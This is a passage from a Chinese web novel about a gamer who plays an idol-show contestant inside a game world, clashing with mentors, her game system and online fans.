公告一出，录像一放，可谓铁证如山，毕竟高清监控当中杨茉脸上的表情可做不了假。
舆论风向也飞快扭转，昨天还被杨帆收买的、狂发“朝晖暴力狂退赛”词条的营销号，今天就没脸没皮地假装什么都没发生，把之前的推文删除，换成了#朝晖澄清#。
评论网友全是：
“原来是这样！我说呢，朝晖看起来就很阳光啊，不像是那种欺负人的性格。”
“杨茉也太狠毒了吧！你们看到她踹人时候那个表情了吗？”
“朝晖被她那么用力地踢了一脚，没有受伤吗！？！节目组你们必须出来给个说法！！”
倒也有一些死鸭子嘴硬的，嚷嚷着“无缘无故的怎么会去欺负她？肯定是朝晖做了什么事情惹人生气了！”
也有清醒的看客：“朝晖打人这一点应该的确是被污蔑的，她是自保反击，但是节目第二期里她的表现，说一句扮丑搏出位、不尊重导师，这没什么问题吧。”
像此人一样理智的人比较少，网友们大都就像是被牧羊犬驱赶着的绵羊，从众而动。
评论两极分化严重，许多人因为此事，到底是对这个三天两头出事的选手没了好感，其中不乏狂热的黑粉。
也有人心情大起大落之下，怜爱之心爆发，被虐成了死忠粉。
不论如何，“朝晖”这个名字正在以飞快的速度，被更多人所知晓。
大型视频网站霹雳霹雳上面，吃瓜吐槽的相关视频数量正在飞速增长。
林月泪眼婆娑：“我的宝宝，你受苦了，放心，我知道你是无辜的！像你这么阳光的人，怎么可能会做那种坏事呢？节目组你们让她扮丑，用她造话题引流量，你们没有心！！！”
30. 云端能源（18）
裴韫几乎一夜没睡，她蹲在洗手间内，不停地刷着手机。
好在她们404宿舍的洗手间，已基本成了她个人专用。朝晖不仅不会进来，她现在甚至都还在练习室内通宵练习呢。
周一还有拍摄任务，要拍导师给她们上课的镜头、要拍她们在练习室中努力的画面，后者虽然不强制，但为了刷脸，多蹭几秒钟的上镜机会，再懒的人也不会选择不去。
周三就要录制主题曲评定、个人直拍，大家都在抓紧时间练习。
裴韫却把今天的练习给翘了。
她的手机不停地有电话打进来，对方的执着让她像溺水一般感到无法呼吸。
她的伤口发炎了，痒意难忍。但为了让伤痕看起来更加明显，她忍痛将新结的痂皮撕去。
“澄清了……”
裴韫刷到最新的热搜，心里不知是松了口气，还是变得更加紧绷。
圈子里，艺人看似明面上的交锋，实为他们背后所属公司之间的战争。财阀们很少会把事情闹得这么大，彼此之间利益为重，留个面子好做人。
杨茉是不顾后果地想要报复朝晖，至少要让她身败名裂、永被封杀。而她的哥哥杨帆恰好会帮助她。
舆论是非常好用的，因为现任洛川市市长非常注重“名声”——甭管你们私下闹得多乱多疯，明面上必须要一派祥和。
假如没有澄清，朝晖一定会遭到封杀。
节目组为什么会帮她澄清？只是为了节目的顺利吗？
朝晖到底有什么后台？
那些断断续续的疯话，裴韫不是没有尝试去理解过。
可她到底只是个没怎么见过世面的小女孩。过往的这么多年里，公司拥挤的练习室、狭小的宿舍、来来去去的练习生女孩子们，几乎便构成了她的整个世界。
她的经历和见识都不足以让她去理解、判断这些话，也不足以让她做出理智的决断。
“听我的话就好了。”
“听我的话……我不会害你……我会帮你成为明星……”
“那个人”的声音又断断续续地在耳畔响起。
裴韫惊恐地瞪大眼睛，捂住耳朵。簌簌水声掩盖了她几不可闻的啜泣。
*
朝晖同志，在无知无觉之中，光荣完成了上热搜——被全网黑——澄清——声名大噪（贬义）——评论两极分化——多出一大票黑粉、死忠粉、吃瓜路人这么一个过程。
如此drama的事情，绝大部分小偶像或许一辈子都没有经历过。
她在练习室里一边刷技能一边玩手机，系统无奈地提醒她：“亲爱的玩家，再这样下去节目组只会把你的练习室镜头全部剪光，不利于主线任务的推进，还请玩家慎重考虑。”
“那不然呢，难道我还真的在这儿练习？”朝晖说，“手机上的小游戏设计的很不错，就是我已经快全通关了，唉，你们这个练习模式的趣味性还是需要提高呀。”
系统试图劝谏：“如果您认真地参与练习模式，您本人的唱跳水平都会有所提高哦！”
练习模式下，游戏会让玩家的身体自动开始唱歌或跳舞。
说到底，这两项技能都是和“肌肉记忆”有所关联的。
一个完全没学过跳舞的人，灵魂进入一具舞蹈高手的身体内，那么她很有可能会进步飞快，在身体的帮助下迅速学会舞蹈。
但换成一个舞蹈高手穿进普通人的壳子里，恐怕经验再丰富的人，也需要慢慢积累、重新锻炼。
在游戏的操控下，假如朝晖认真地学习唱跳，她的身体就相当于给了她一个金手指，会让她的进步一日千里。
哪怕她一边打游戏一边练习，也能察觉到自己的能力提升了不少。
“唱跳？”
朝晖对此嗤之以鼻，“我每天加班996，勤勤恳恳地给我老板打工，玩个游戏还学唱跳？”
“玩家喜欢什么你不懂吗？要爽！玩游戏就是要爽的，做任务可以，学唱跳？你们策划在想peach。”
系统：……
下一刻，主线任务更新了，她需要在练习室攒够镜头，这样才能保证自己的出镜量，获得奖励。
想要自己的镜头被剪辑进去，就不能玩手机，
毕竟节目组再想让她走“黑红”路线，也不可能自打脸到如此地步吧！
朝晖：……
好啊你个破游戏，针对我是吧？
不就是镜头量吗？
朝晖冲出练习室，“咚咚咚”的脚步声响彻一整条走廊，伴随着她来到隔壁。
隔壁练习室内，是A组练习生正在上课，今天负责上课的老师正是pd余烬。
朝晖的初舞台评价是“B”，也就代表着她被分在B班，和A班上课时间是分开的。
五个导师每周各来一天，给练习生上课。剩下的两天则是节目录制，上课期间的镜头都有机会被剪辑进入节目中。
似乎没有料到前几天乖乖泡练习室的朝晖突然发难，在场的摄影组成员不是很多，没能把她拦住。
朝晖如泥头车一般闯进了A班教室。
……？
练习生们彼此和谐交流的声音一顿，纷纷扭头看向大门。
见到那张熟悉的漂亮脸蛋，大家不知道怎么的，有种习以为常的感觉：）
毕竟，也一起度过这么多天了，每天都能在练习室里看见她，她们发现朝晖这人吧，说是有点疯，但你不去主动招惹她的话，她一般也不会搭理你。
还有那么几个勤奋的A班选手，被朝晖彻夜练习的精神给卷到，自觉晚上留下来多训练一会儿呢！
盛绫儿不太想跟对方装姐妹情深，有了此前节目组骚操作的前车之鉴，她也不想冒着入镜的风险去和对方交谈，索性默默走到边上。
倒是诸华清勉强打起精神，看了导师余烬一眼，小跑步过去问道：“朝晖选手，有什么事吗？”
“没什么事儿，来蹭点镜头。”朝晖说。
余烬：……
余烬脑门上青筋直跳，勉强扯起嘴角，把犀利的眼神投向摄影组。
摄影组默默地承受住了压力。
——毕竟导演们耳提面命过，一定要把朝晖所有的骚操作全部录下来！
哪怕是不放在正式节目中，也可以留一手作为朝晖的黑料，日后方便大家沟通谈判嘛。
瞧瞧，今天早上之所以能快递澄清选手黑料、保住节目，不都是因为他们机智地留了一手？
余烬：“……这样吧，刚才我们的课程也讲得差不多了，先下课，朝晖选手，你跟我过来一下。”
朝晖不动如山，赖在摄像头旁边不走。
她就是在和系统赌气！
哼，堂堂玩家，玩游戏玩得不爽，还不能赌个气了？
其他人大气不敢出：……
余烬也不管摄像头了，上手直接扯她，众练习生忙把头挪开
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，假装自己什么都没看见。
这一扯，嘿！没扯动。
力量和耐力的提升，体现在了身体的方方面面，绝不只是力气大那么简单。
朝晖咋咋唬唬道：“喂喂喂，这可还在录像呢啊，动手动脚的干什么，不会好好说话？”
系统：……
奈何，余烬的脾气可不像是卫文谨那么好。
“你们都出去。”他对其他人说道。
摄影组从耳机里收到上级指示，擦着汗收起设备、脚底抹油，飞快地溜了。
倒霉的A班练习生们沿着墙、踮起脚尖，悄无声息地光速消失。
就连想要骂人的盛绫儿，也被诸华清捂住嘴，拼老命地拖出门去。
“你到底想干嘛？”余烬往椅子上一倒，从口袋里掏出一包烟，取出一根，手指微动，不需要打火机，它便轻俏地点燃。
朝晖把嗅觉屏蔽打开，隔绝二手烟味：“随便逛逛啊。唉，这个男主就当着玩家的面在室内抽烟？什么素质啊，这也能当男主！啧，也就一张脸能看。”
话说，余烬竟然能把火焰控制得如此精妙，让它恰到好处地点燃香烟，却不波及其他。
玩家双眼放光：“你这个点烟是怎么办到的？教教我呗。”
余烬：……
他忽略那些叽里咕噜听不懂的话，深深吸了口烟，“这是我的异能啊，你学个屁？
“我是看在同为异能者的份上才保下你的，你知不知道你现在在这里发疯，会给我带来很大压力？
“你一个异能者不去干正事，不去训练，跑来当什么练习生，我以为你是真的想入行，才提拔你一手。现在你就拿出这样的表现？你到底知不知道什么叫知恩图报啊？”
“你想发疯，当什么偶像？你去训练啊，去隔离区发疯啊，那里疯子多得是，不缺你一个。”
朝晖挠头：“知恩图报没问题，你倒是给我发个任务啊。”
“……什么任务？”
没有牵扯到“游戏”之类的词汇时，“任务”两个字不会被屏蔽。
不过，经验丰富的玩家已然看破，那就是npc这样的反应，十有八九是没有任务了。
她有点失望，还以为余烬这个男主会跟经纪人一样，榨着榨着就能挖出来个支线呢。
如果只剩下“恋爱线任务”，以及主线任务过场npc这点价值，余烬就显得太没用了。
——不对，还有他的异能哇！
余烬的异能非常强力，但他并不是像经纪人那样随叫随到，这让玩家觉得有点不便。
“听说你的公司很垃圾，要不要考虑成为我的员工啊？”朝晖说着，忽然又失落起来，“不行，如果他不跟旧公司解约，想必我应该是招募不了他的。”
她一会儿跟余烬说话，一会儿又开始把他当空气，自言自语。
余烬发誓，他成为偶像之后已经很少抽烟了！！
但他今天控制不住地抽了一根又一根。
他平时根本不是这么脾气好的人啊！！被气到这种程度却只是默默忍受！
换成其他人，他早就开始骂人了。
可不知道为什么，他总觉得骂朝晖是一件毫无意义的事情。
在这一刻，他的脑电波和盛绫儿高度重叠：
还是别骂了。就她这个脑子，骂人简直是对牛弹琴。
跟她说太多话，万一自己的智商也被传染变低了可怎么办？
31. 云端能源（19）
余烬说着说着就自己散发出黑压压的丧气，然后颓废地一言不发。
朝晖小声对系统道：“那我这个镜头量到底算不算数啊？”
“不算。”系统冷漠道。
朝晖立刻开始撒泼：“什么嘛！要练习唱歌跳舞的话，哪怕是做一个内置的音游呢？啥也不干在那儿干唱，你就等着公测之后被玩家骂死算了！！”
“已将您的投诉上报。”系统说这句话的语气已经越来越淡定。
熟悉客服套路的朋友们都明白，这种打太极的回复，短时间内一般都起不到什么效果。
而朝晖知道自己为了主线任务，肯定得“不玩手机认真练习”了。
就很烦！！
虽然是拿着工资在玩游戏，可是明明老板都说了啊，让她自由自在地玩就可以啊！
玩家一烦，就想给自己找点乐子。
她目光一转，看向沧桑的余烬。
余烬一顿，被她看得毛毛的，没好气道：“干啥？”
朝晖把眼神落在他鼓鼓的裤子口袋上面，机智地分析道：“很显然，你是一位老练的烟民，但你不能在外人面前暴露异能吧，所以你一定有打火机对吧？”
余烬：“……我是有打火机。不过其实我已经戒烟很久了……你以为我为什么想抽烟啊！？”
他摸摸口袋，掏出金属壳打火机和烟盒，习惯性地上下抛了两下。
那动作，那神态，很显然已经是把装X给刻在了骨子里。
朝晖一把夺过，打开烟盒，取出一根烟，用打火机帅气地将其点燃。
“……你干嘛？”余烬丈二和尚摸不着头脑。
“二手烟不如一手烟健康*，我当然是要加入你咯。”朝晖嘿嘿一笑，“早就想试试那个表情包的效果了，真是天赐良机啊！”
说着，她已经把烟盒内的烟全倒出来，叼在嘴上，整整齐齐叼了一排。
这盒烟似乎是新开封的，除了余烬抽掉的那几根，还剩下十几根留在盒子里。
朝晖特地把自己的嘴角掰开一些，才勉强将它们塞进嘴。
然后，她打开金属打火机的盖子，“咔哒”一声，手一挥，潇洒地将所有的烟一一点燃！！
“呼——哈！！”
朝晖嘴角飞到了天上，深吸一口气然后呼出，口中顿时冒出滚滚白烟。
她喜滋滋地掏出手机，开始自拍个不停，“哈，这也太搞笑了吧，我之前玩另一个全息游戏的时候，也想整这个活，可惜那游戏里的烟根本不能交互！”
“系统，没想到你们游戏连这样的交互功能都能做出来，太牛了太牛了！！”
系统：……
余烬：……
余烬不可置信：“喂——你神经病啊！？一口抽这么多你不要命了！？等等你知道我这一包烟多少钱吗？？到底为什么还在自拍啊——”
他悲愤地一把夺过烟盒，里面只剩下可怜巴巴的一根。
它能幸存下来，还是因为朝晖的嘴巴大小有限，实在塞不进去了。
烟酒都是“下等人”必备的、麻痹精神的物品，有很多平价品牌，并不昂贵。
但余烬其实不怎么抽烟，随身携带更多是为了社交需求，比如参与饭局、和前辈们见面的时候，可以主动递烟，增进双方关系。
所以这包烟是来自比较奢侈的品牌，品质高、品牌溢价两者相叠加，一包大几百呢。
就被朝晖这么霍霍完了！！
听到关键词“钱”，玩家耳朵一动：“顶流都买不起烟？好夸张的物价。”
“不是买不起！是你这个傻x在这里胡乱浪费好吗？”余烬急赤白脸地反驳，“你根本就是在瞎玩啊！烟都没抽完就被你给丢了！”
朝晖拍完照，自然就把烟都吐掉。她又不喜欢抽烟。
然而听了这话，朝晖只是同情地看着他，脑中回想起伊尔莎告诉她的情报。
“啧，男主不应该都是高富帅，随随便便甩出几个小目标，一点儿不心疼的那种吗？”朝晖对系统道，“你们这些个乙游男主，没有人家的財气，却有着同样的脾气，一个二个的都穷得不行，真是…啧啧啧。”
系统：……
你自己听听，你说的这话，它像话吗？
目前出场的卫文谨和余烬两个男主，难道对玩家不都是很好的吗！？
卫文谨忍声吞气地帮助玩家，是因为他别有所图，这也就罢了。
余烬见到异能者后辈，出手提携、帮忙摆平麻烦，就连跟玩家打架也尽量控制自己不去下杀手，这……应该还算不错了吧？
系统的小脑瓜子里哔哔叭叭了一大堆，却没办法把这些吐槽的话说出来。
它毕竟还是个人工智能，不能违背创建者所设定的程序——它只能在游戏方面辅助玩家。
此时，被朝晖完全无视的余烬已经放弃治疗，转头出门找导演去了。
朝晖打断了A班上课，好在她们的课程原本就接近尾声，素材足够剪辑所用，因此导演组才在后台示意摄影组撤退。
余烬开始和导演组吵架：“她这个鬼样子到时候怎么直播？”
下一期内容，就会是选手们努力练习节目主题曲、表演主题曲，并由观众投票、导师评价两个方面来对她们的级别进行重新评定。
这两期会在本周内剪辑，周末播出。
周日中午，也就是评定结果出来之前，选手们会参加一个直播活动，与观众交流、表演才艺、给自己拉票。
总导演十分淡定：“我知道你很急，但你先别急。”
余烬道：“我不急，我是怕你们急了，拉我下水。”
他已经被节目组利用了一次。
虽然朝晖的黑料都已经被铁证给澄清，但#朝晖顶撞导师#这个词条现在还在热搜上面挂着呢。
这导师，不正是余烬么！
就因为这个，余烬的粉丝已经把朝晖那些个刚刚冒头没多久的小粉丝们撕得四分五裂，并将朝晖骂得狗血淋头。
什么p冥照、人肉、恶劣辱骂，应有尽有。
该走粉丝的走了，留下的全成了百折不挠的死忠。
路人呢，就对朝晖产生了怜爱之心：
余烬的粉丝那么凶，做的事情那么过分，太欺负人了！
粉丝发疯偶像买单，大众对余烬的好感就会直线下降。
可余烬哪里管得住自己的粉丝啊？
他之前亲自发声，劝粉丝别控评、别骂人。
结果，那条推文被粉丝给控评骂了。
热评第一是：“老公你好好工作就行，粉丝的事你少管！”
热评第二是：“#余烬全能爱豆##余烬真金白银顶流##余烬星光训练营超绝舞台#”下面是一整列一模一样的控评。
余烬觉得心很累。
总导演：“……”
的确是有这个打算，但是为什么要这么直白地说出来啊！！
说起来，余烬其实并不是一个多么品德高尚的人，但他非常注重自己的偶像包袱。
为此，他甚至可以忍住自己从小到大的坏习惯，克制自己作为“A级异能者”、“顶流偶像”的傲慢，在镜头前竭力保持完美。
为什么呢？
这就不得不提到他所属娱乐公司“万世娱乐”了。
万世娱乐也是一家大公司，背靠
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财阀集团，只比寰天文化次一级，属于一人之下、万人之上的地位。
但它在业内的名声，可比寰天要臭得多。
寰天文化狗是狗，至少还是维持住了自己家大业大的体面——比如看到了好苗子，如诸华清、盛绫儿之流，他们是不吝于倾泻资源去捧她们的。
也许回不了本，但他们不介意，只追求极致的可能性——万一火了呢？
风险大，回报也大，这是大财阀应有的底气。
想要签下朝晖这个难得一见的“异能者偶像”，他们也拿出了诚意：甲级合约，给朝晖50%收入分成，还派出能力极强、性格温和的经纪人卫文谨来伺候她（？）。
压榨是压榨，但老板吃肉，好歹留了那么点肉汤分给艺人。
这就导致寰天旗下的员工其实相当忠诚，诸、盛她们不仅不讨厌自己的公司，甚至会以寰天艺人身份为傲。
但万世娱乐呢？
这家公司内部阴私之多，制度之黑暗，以至于过往十数年间，光是出现在新闻里的自杀万世艺人就不下十位。
他们签人给出的合约都非常严厉，内部管理也奉行“达尔文主义”，要不是十年前新市政府上台后，强势插手管理娱乐圈，出台了相关政策，他们的“奴隶合约”恐怕还会继续下去。
并且，他们追求的永远是快钱，一个艺人的价值被他们压榨到极限之后，就会被无情丢弃。
黑红黑红，这是一个顶流艺人的必经之路，可他们下手总是太狠，一不小心就让艺人黑得永无翻身之日。
对于余烬，万世娱乐的处理方式也没有区别。
他本来就是张扬的性格，却并没有什么真的触碰得到底线的黑点，加之其异能者身份导致他自带后台、总会有人愿意给他面子。
这么多buff叠在一起，万世娱乐可太想让余烬“黑红”一把，让公司血赚了。
余烬赚到的90%的钱都要给公司，公司又总是整一些骚操作，最后他拿到手的简直少得可怜。
所以，余烬，他叛逆了！
经纪人越让他走黑红路线，他反而越不愿意。
他收起所有的坏习惯，连烟都给戒了，就是为了让黑子找不到他任何的一个黑点！
塌房？不可能的！
余烬每年就拿那么点钱，没有偷税漏税的必要；他坚持做慈善、用心对待每一个表演，从不耍大牌；他的眼睛不会放在异性身上超过两秒，私生活清淡得像个和尚。
不给别人一点可乘之机，哼！
但或许是他个人条件太好，加上这莫名其妙的完美偶像包袱（？），慢慢地他还是火了。
人一红就一定会有人黑他，找不到黑点，就自己编呗！
人无完人，就连余烬出演节目时一个笑容的弧度不够完美，都能被解读出10086种意思。
所以渐渐地，他也不再对自己那么严格，反正不管怎么样都会被黑嘛，那就稍微自在一点咯。
但多年养成的好习惯还是留着，业内对他的评价其实都很好。
选择保护朝晖，已经是他这么多年来做得最出格的一件事——对此事一知半解的人很多，他们不知道异能者的内情，都在传他俩的绯闻。
所以余烬是真的顶着很大的压力在帮助后辈。
现在嘛，他就是很后悔。
在这个关头，节目组竟然还想搞骚操作！
余烬恶狠狠地对总导演道：“不管你想什么办法，总之绝对不要让朝晖跟我扯上什么关系！我答应参加这次星光训练营，就是因为番茄台给了我保证，绝不会利用我搞黑红这一套，明白了吗？”
总导演：“……”
32. 云端能源（20-21）
（20）
众所周知，如果一名玩家在玩游戏的时候，不再拥有以往的那种热情、对游戏丧失了兴趣，那么距离她弃游就不会太久了。
但朝晖不仅仅是一名普通玩家，她是带薪玩游戏的，是一名测评员。
实在不想走“恋爱线”，她可以找理由稍微划划水，但弃游是万万不行的。
就算她紧赶慢赶地过游戏主线，没有个几年功夫（游戏内时间），也不可能把游戏全通。
这种情况该怎么办？
当然是整活啦！
朝晖不会勉强自己，既然觉得主线没意思，那她就自己创造机会，找回玩游戏的初心，重燃爱火！
但除非是抢矿场（？）这种又有趣又高收益的事情，她并不想浪费太多时间去读档、卡主线，毕竟完成全通还是首要目标嘛。
这就对她的整活增加了许多限制条件。
——多有意思啊！
像是一道充满趣味的挑战题目！
玩家的大脑顿时就飞速运转起来，简直比高考的时候还要精神百倍。
她掏出一个小本子，将各种整活的可能性和脑洞统统记录在上面。
主线任务要求她必须要有足够的练习室镜头，她只好在练习室中不玩手机，认真唱跳。
然后她的精神状态就变得更加美丽。
——怎么会有人在游戏里上班啊！！
就算奖励很诱人，但玩家还是不能够接受！！
这么练，她自然不可能像以前那样从早泡练习室到晚。
多余的时间该怎么消磨呢？
当然是玩游戏啦！
所以接下来的这段时间，节目组是鸡飞狗跳的。
朝晖像个永动机，似乎从来不会疲惫，每天的日常就是在各个练习室、拍摄间窜来窜去。
见到npc，不论有没有互动标志，她必上前试探一番，期待挖掘出隐藏任务；
被系统警告“影响综艺录制可能导致退赛”后，她也不气不恼，利用好每一分录制休息的时间，大杀四方！
最开始，节目组劝阻无果，只好派出“看起来跟她关系不错”的伊尔莎、裴韫二人上场，试图阻止她的行为。
节目组更是对裴韫保证，只要她形影不离地跟着朝晖，防止她搞事，就让裴韫进入决赛。
裴韫：“我并不能……好吧我试试。”
然而裴韫怎么可能阻止玩家？
倒是朝晖一把薅过裴韫：“阿猫！走！跟我过来玩呀！”
根本无力抵抗、被她抓着飞在半空的裴韫：……
节目组也没辙了。
就在这种无奈之下，就在节目组认真考虑到底要不要忍痛放弃朝晖、让她退赛的时候，他们忽然发现……
其实，就这样继续下去，好像也还行啊？
首先，她虽然经常骚扰别人，但这种骚扰是非常有限度的。
主要是言语骚扰，内容可以概括为“你愿意成为我的员工吗？”“你有什么需要帮忙的吗？”“叽里咕噜阿巴巴～”“你真漂亮，我给你拍个照吧！”
习惯之后，烦是有点烦，但……就也还好吧。
练习生们已经发现，只要不搭理她，那么她根本不会纠缠，掉头就走。
她更不会无缘无故地打人，反而像是知道自己力气特别大一样，很注意尽量不去伤害到无辜的练习生（玩家怕打坏了影响任务，要读档）。
……比起某些看到漂亮女孩就双眼发光、走不动路、眼神猥琐的男性，朝晖素质还好上不少呢！
给节目组贡献了丰富的剪辑素材的同时，其实也没有太打扰大家训练，反而是冲淡了因淘汰制、连轴转训练拍摄而紧张起来的氛围，间接促进了练习生们的友谊。
毕竟，比起拥有共同的爱好，拥有一个共同的敌人更加容易变成挚友。
最近，练习生们的友谊就迅速发展，给节目组炒cp增添了丰富的素材。
而且朝晖也很少在录制的时间冒出来（受到了主线任务的压制），大都在休息、练习时间活跃。
她就仿佛学生时代班上的那些调皮捣蛋的同学，时不时调戏老师、同学们一把，但心里有数，不会太过分。
品着品着，众练习生及导师竟然……习惯了。
最关键的是，她们在一周的训练后，迎来了“主题曲评定”环节的拍摄。
每名练习生都要单独录制属于自己的主题曲个人直拍，然后经过一天时间的投票，综合导师评价，在周日决出最终的A组名单，并选出初C。
正式主题曲要到下周才会放出。
在整活的同时，朝晖也没忘把《星光训练营》主题曲《为我欢呼吧》导入自己的曲库，并无脑地练习。
刷到现在，她的唱歌、跳舞两个技能都快要到达3级。
然后录制导师评价时，导师们就震惊了。
离开那首令人无语的《魔法少女之歌》，朝晖对于“命题作文”的答卷，毫无疑问令所有导师大跌眼镜。
——她跳得/唱得是真好啊！
导师们会一个个观看学员们的直拍录像，这录像可是完全无修音、无妆造的练习室镜头，选手们必须要边唱边跳，录制机会只有一次。
唱跳是一件很难的事情，不仅对表演者的体力、能力有很强的要求，还需要有一定的经验，才能协调好舞蹈动作与唱歌、呼吸气息之间的平衡。
但朝晖呢？
她就像不需要呼吸一样！
她的舞蹈动作极为标准，在整齐、到位的同时，还带有一丝丝她自己的风格——
“唔，很大气狂放的感觉，看来这就是她的固定风格了，虽然跟这首歌的主题不算特别搭配，但也并不突兀，反而很有特色！”舞蹈导师满脸惊喜。
唱歌技巧娴熟，音准可怕，从头边跳边唱却大气不喘，竟然没有一次走音、漏唱——
“噢我的天哪，唱得真的非常好，几乎和录音室水平没什么区别！！”歌后导师满脸狰狞，“是我小看了她，能做到这样的效果，在跳舞的同时保持气息，她的唱歌水平绝对是非常强的！！”
余烬也感到讶异。
异能者的身体素质会比常人好一些，考虑到她是力量型，或许平时也会经常锻炼身体，所以体力很好。
但唱歌跳舞的技巧绝不是“异能者”三个字就能解释的。
他也知道朝晖每天只睡三四个小时、天天通宵泡练习室，导致其她练习生压力很大、忍不住开始卷起来的事迹。
最开始，他就是因为听说了这些，以为她真的是一个非常努力非常喜欢唱跳的人，才选择站在她的一边。
真是无法理解的人啊……
*
本期节目播出，朝晖瞬间又上了热搜。
这一个星期内，“朝晖”这个名字已经养活了无数霹雳霹雳的吐槽区、鬼畜区up主。
高质量的视频，如《新概念唱跳》、《重生之我在选秀当谐星》、《让我来朵蜜你吧！》等，都已经拥有了几百万的播放量。
毕竟，观看者除了对她评价两极分化的诸多秀粉之外，更多的是喜欢看乐子的吃瓜群众。
他们可不会心疼练习生们，而是对于朝晖的骚操作哈哈大笑。
结果节目末尾放出的导师评定主题曲片段，以及随之上传的各练习生主题曲个人直拍，让他们笑不出来了。
“WTF？这是朝晖！？”
沈清璃算是个白富美，父母是中产阶级，自己是自由职业，能够支持她追星的消耗。
她追余烬很多年了，是一名“老粉”，和余烬的经纪人、私人助理都有联系方式，甚至因为职业原因，误打误撞地知道了余烬异能者的身份。
所以，她也是为数不多的、知道余烬为何“提携”朝晖的人之一。
对于朝晖，她从节目播出之后就略有些不喜。因为她总觉得，朝晖这样的表现，会拖累余烬。
但看到朝晖的主题曲直拍之后，沈清璃的下巴好悬没掉到桌子上。
“这这这……余烬出道的时候都没这水平吧？”沈清璃双眼放光，来来回回把直拍看了好几遍。
这可是基本无修音、无妆造、无剪辑的直拍！
但她的动作、歌声、甚至表情管理都几乎无可挑剔。
——嗯，其实朝晖并没有刻意做出什么表情。
但她长了那样的一张脸，没有造型更显得突出，加之神态自如（毕竟是系统托管身体在跳）、眼神清澈，整体上观赏度就很高。
而且，她虽然经常骚扰别人，但从其他练习生口中也能得知，朝晖练习起来特别努力，很多练习生正是受到了她的影响，才决定更加努力地练习。
她闹出的笑话，也让不少练习生的心情变得放松。
这，简直就是超级优秀的团队领头人啊！
在她的影响之下，大家的心情变得快乐（？）、练习变得努力。
多么感人啊！
沈清璃忽然就get到了朝晖的萌点！
看起来傻乎乎的很烦人，实则是大家的快乐小狗。
精力旺盛、永远开心、外表美型、内心呆萌（？），就很可爱呀！
沈清璃今年已经三十岁了，特别喜欢这种活力充沛的可爱年轻人。
余烬其实就是这样的年下弟弟类型，但他有点臭屁，脑子也很聪明，不像朝晖这样，看起来傻（？）得很纯粹。
人要是太傻，只会被他人嫌弃太蠢太笨太无趣。但傻得如此恰到好处，就会让观众内心涌上一股怜爱。
像她这样想法的人很多，更有大量“实力粉”，本就喜欢实力强劲的选手。
于是#朝晖直拍舞台#又上热搜了，一大堆嗷嗷叫的粉丝涌入：“又美又强又有趣，这是什么宝藏爱豆！”
黑粉无力地反驳：“你们忘了她顶撞导师的事情了吗？还有，就算是对方先动手，她打人也不对啊，这种性格的人很危险的！！”
林月正是上次被虐成死忠的粉丝之一，看到这条评论之后怒而回复：“人家余烬都没生气，倒是你在这里管得比太平洋还宽！”
看到节目播出反响后的节目组、导师组、练习生们：……
这这这……
虽然本期节目的剪辑上，节目组的确是尽量去突出朝晖好的一面了，但观众们的想法实在是转变的太快了吧……
这也行？
难不成，炒作套路成功，朝晖真的要火啦？
（21）
节目组的惊喜并没有持续太久，因为第二天中午，就是选手们的拉票直播。
直播之前，经过紧急商议，导演组决定为了她，让本来是所有选手聚集在大厅中集体进行的直播，分成了多个不同的小组轮流进行！
和朝晖同在一组的练习生，包括裴韫、诸华清，以及……两个朝晖不认识的人。
她们四个共同的特点，就是脾气好、听话乖巧。
开播前，节目组千叮咛万嘱咐，叫她们准备了大量的台本，务必要在几分钟的直播时间内，让朝晖尽量说不出一句话！
“主线任务更新：【完成直播】。”
“您的个人直拍播放量目前排名为：3。”
朝晖眉头一皱：“嗯？怎么才第三名？”
她可是在没有玩游戏的情况下，认认真真地在练习室中把主题曲练习了n遍啊！！
肝到这种程度，竟然还拿不到第一名，这个游戏到底是想要干嘛？
系统：……
每到这种时候，它就没有办法跟玩家进行解释。
节目组在这期剪辑当中小小捧了一把朝晖，是为了让她尽快洗白之前的黑料，减弱影响。
可他们又不是真的想让朝晖当初C！
初C，即选秀节目第一次进行主题曲拍摄时的C位，是一个非常重要的位置。
大部分时候，最开始选出来的初C，就会成为最终的C位。
因为，刚开始大家没有特别喜爱的选手的时候，一般都会倾向于选择实力强、相貌不错、性格好的选手来进行投票。
此时，节目才刚播出不久，所有选手的曝光量都有限，在这种情况下，得到票数最多的那个，也一般就是最有观众缘、公认实力最强、最能吸引人的那个选手了。
拥有了初C的名头，一步先步步先，那么后期的优势便会自然积累。
所以，初C成为第一名出道的概率自然是很大的。
——朝晖？
这样的角色，放在团队里做一个搞笑美女，活跃活跃气氛、吸引粉丝什么的就足够了。
C位可是代表了整个团体的颜面和气势，要是让她变成C，那这个团的画风该变成啥样啊？！
所以节目组稍微操作一下，轻易就让诸华清、盛绫儿的投票数量超越了她。
这种弯弯绕绕系统其实也不知道。
它只知道，玩家这种风格，能拿到C位才怪嘞！
明明有这么好的条件，长相、身材、实力、游戏系统的金手指，她却不珍惜，非要整活！
要是她好好表现，这C位肯定是稳稳当当啊！
然而系统只是个辅助系统，不能指挥玩家玩游戏，最多是通过发布任务的方式稍加引导。
它只好干巴巴道：“这……就像服装搭配比赛，最漂亮的那一套服装，分数不一定会高。具体的评定方式呢，可能与其它因素有关，比如主题适配度、表演风格等。玩家您第一次通关，取得第三名的成绩已经非常优秀了。”
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>朝晖蔫蔫道：“好吧。”
猫猫室友跟她在一组，还有小红认识的那个漂亮妹妹（诸华清）——以及另外两个不认识的妹妹。五个人坐在等候室，静待直播开始。
说来惭愧，朝晖到现在还没记住猫猫室友的名字。
但这绝对不能怪她呀！
猫猫她不是员工，没有像伊尔莎那样有一张自己的资料卡，可供玩家随时查阅。
她也不是男主，男主们头上有几个大字，写着名字，又有【恋爱】界面资料，多看几眼就差不多记住了。
有时候她也会听见“裴韫”两个字，但众所周知，人的记忆和视觉、听觉是相关联的，光听不看，其实很难留下什么深刻印象。
至于猫猫之外的其他人，那就更难记了。
于是等候室内，除了朝晖之外的四个人大眼瞪小眼——玩家独自发出“哔哩吧啦”的嘀咕声，是她正在和系统辩论“我这么肝还是应该获得更好的名次吧，第三名奖励不会太差吧”之类的议题。
诸华清忽然有些佩服起了裴韫：她和这家伙天天住在一起、在一个练习室训练，到底是如何忍受的啊！
*
直播分组之后，每一组的直播时间其实就只有五六分钟，根据情况而定。
直播一开始，观众便疯狂涌入，个个都在刷：“为什么分开啊？想看所有小姐姐在一个地方直播！”
“突然改机制？没意思。”
“节目组遛我们玩呢？”
导演组、策划组：“……”
你以为这是我们想的吗？
要是真让朝晖在直播间呆上整整一个多小时，那还得了！
当然，也有弹幕为节目组说话：“人数太多的话，直播不好管理，可能会导致某些选手没镜头。”
“现在这样很合理，分组观看也方便。”
